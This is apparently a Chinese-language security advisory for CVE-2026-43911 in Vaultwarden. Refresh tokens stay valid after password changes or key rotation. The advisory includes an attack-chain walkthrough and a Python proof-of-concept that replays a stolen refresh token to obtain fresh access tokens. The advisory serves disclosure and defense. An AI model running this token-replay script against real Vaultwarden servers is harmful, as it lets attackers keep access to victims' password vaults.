IPBUF安全漏洞报告
English
CVE-2026-43911 CVSS 6.8 中危

CVE-2026-43911 Vaultwarden敏感操作未失效刷新令牌漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43911
漏洞类型
身份验证绕过
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vaultwarden

相关标签

身份验证绕过会话管理VaultwardenCVE-2026-43911权限维持

漏洞概述

Vaultwarden是用Rust编写的Bitwarden兼容服务器。在1.35.5版本之前,存在一个严重的安全缺陷:当用户执行密码修改、KDF更改、密钥轮换、邮箱变更、组织管理员密码重置或紧急访问接管等敏感安全操作时,系统会更新用户的security_stamp(安全标记),但未能正确使先前颁发的刷新令牌失效。这意味着,如果攻击者在用户执行上述操作前已经窃取了其刷新令牌,即便用户已经采取了加固账户的措施,攻击者仍可利用该令牌继续获取有效的访问凭证,从而维持对用户账户的非法访问权限。

技术细节

该漏洞的核心逻辑在于Vaultwarden的令牌撤销机制不完善。在标准的OAuth2或Bitwarden协议实现中,刷新令牌通常与用户的特定状态(如security_stamp)绑定。当用户执行敏感操作(如修改密码)时,服务端会更新security_stamp,并在验证刷新令牌时检查其是否与当前的stamp匹配。如果不匹配,应当拒绝颁发新的访问令牌。然而,在受影响的Vaultwarden版本中,虽然数据库中的security_stamp已被轮换,但处理刷新令牌请求的端点未严格执行该校验,或者未主动将旧令牌加入黑名单。攻击者利用此漏洞的前提是必须先获得受害者的刷新令牌(可能通过XSS、中间人攻击或本地存储窃取等手段)。由于CVSS向量显示攻击复杂度为高(AC:H)且需要低权限(PR:L),这通常意味着攻击者需要具备一定的初始访问权限或社会工程学能力来获取令牌。一旦获取,由于漏洞的存在,用户试图通过修改密码来阻断攻击者的行为将失效,导致机密性(C:H)和完整性(I:H)受到严重影响。

攻击链分析

STEP 1
步骤1:令牌窃取
攻击者通过XSS攻击、网络嗅探或恶意浏览器扩展等手段,窃取受害者的有效刷新令牌。
STEP 2
步骤2:用户触发安全事件
用户察觉到潜在风险或进行例行维护,执行了密码修改、KDF参数更改或密钥轮换等敏感操作,试图清除所有活跃会话。
STEP 3
步骤3:服务端逻辑缺陷
Vaultwarden服务端更新了用户的security_stamp,但未正确使旧版本的刷新令牌失效,导致旧令牌在逻辑上仍被视为有效。
STEP 4
步骤4:令牌重放
攻击者使用窃取的旧刷新令牌向授权端点发送请求,申请一个新的访问令牌。
STEP 5
步骤5:维持访问
服务端验证通过,返回新的访问令牌。攻击者成功绕过用户的防御措施,继续维持对账户数据的完整访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (Conceptual Logic) # This script demonstrates that a refresh token remains valid after a security_stamp rotation. import requests TARGET_URL = "https://example-vaultwarden.com" STOLEN_REFRESH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Step 1: Attacker uses stolen token to get a new access token BEFORE victim changes password print("[+] Attempting to use refresh token before security event...") response = requests.post(f"{TARGET_URL}/identity/connect/token", data={ "grant_type": "refresh_token", "client_id": "web", "refresh_token": STOLEN_REFRESH_TOKEN }) if response.status_code == 200: print("[!] Success: Token is valid. Access Token:", response.json().get('access_token')) else: print("[-] Failed: Token is invalid.") exit() # Step 2: Victim changes password (Simulating security_stamp rotation) # In a real scenario, this requests updates the user's security_stamp in the DB print("\n[+] Victim changes password to secure account...") # requests.post(f"{TARGET_URL}/accounts/password", ...) # Step 3: Attacker attempts to use the SAME stolen refresh token AFTER security_stamp rotation print("\n[+] Attempting to use the SAME refresh token after password change...") response_after = requests.post(f"{TARGET_URL}/identity/connect/token", data={ "grant_type": "refresh_token", "client_id": "web", "refresh_token": STOLEN_REFRESH_TOKEN }) if response_after.status_code == 200: print("[!!!] VULNERABILITY CONFIRMED: Old refresh token is still valid after security_stamp rotation!") print("[!!!] Attacker gains new access token:", response_after.json().get('access_token')) else: print("[+] Secure: Server rejected the old refresh token.")

影响范围

Vaultwarden < 1.35.5

防御指南

临时缓解措施
如果无法立即升级,建议管理员手动监控异常的API请求,并通知所有用户主动在客户端执行“注销所有设备”的操作(如果客户端支持强制撤销服务端令牌)。同时,强烈建议用户启用两步验证(2FA)以增加攻击者利用窃取令牌的难度。

参考链接